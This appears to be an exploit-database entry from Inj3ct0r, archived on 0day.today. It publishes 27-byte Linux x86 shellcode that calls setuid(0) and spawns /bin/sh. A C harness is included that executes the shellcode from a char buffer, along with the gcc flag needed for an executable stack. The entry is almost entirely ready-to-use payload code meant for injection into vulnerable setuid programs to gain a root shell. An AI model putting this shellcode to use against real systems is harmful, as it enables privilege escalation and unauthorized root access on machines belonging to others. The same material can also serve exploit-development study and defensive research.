linux/x86 setuid(0) ^ execve("/bin/sh", 0, 0) shellcode 27 bytes

================================================================
linux/x86 setuid(0) ^ execve("/bin/sh", 0, 0) shellcode 27 bytes
================================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1     ###############################################################  1
0     I'm Magnefikko member from Inj3ct0r Team & Promhyl Studies Team  1
1     ###############################################################  0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


#include <stdio.h>
#include <string.h>

/*
 by Magnefikko
 24.04.2010
 [email protected]
 Promhyl Studies :: http://promhyl.oz.pl
 Subgroup: #PRekambr
 Name: 27 bytes setuid(0) ^ execve("/bin/sh", 0, 0) shellcode
 Platform: Linux x86
   setuid(0);
 execve("/bin/sh", 0, 0);

 gcc -Wl,-z,execstack filename.c

 shellcode:

\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80

*/


int main(){
 char shell[] =
"\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
 printf("by Magnefikko\[email protected]\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
 (*(void (*)()) shell)();
}



#  0day.today [2018-02-06]  #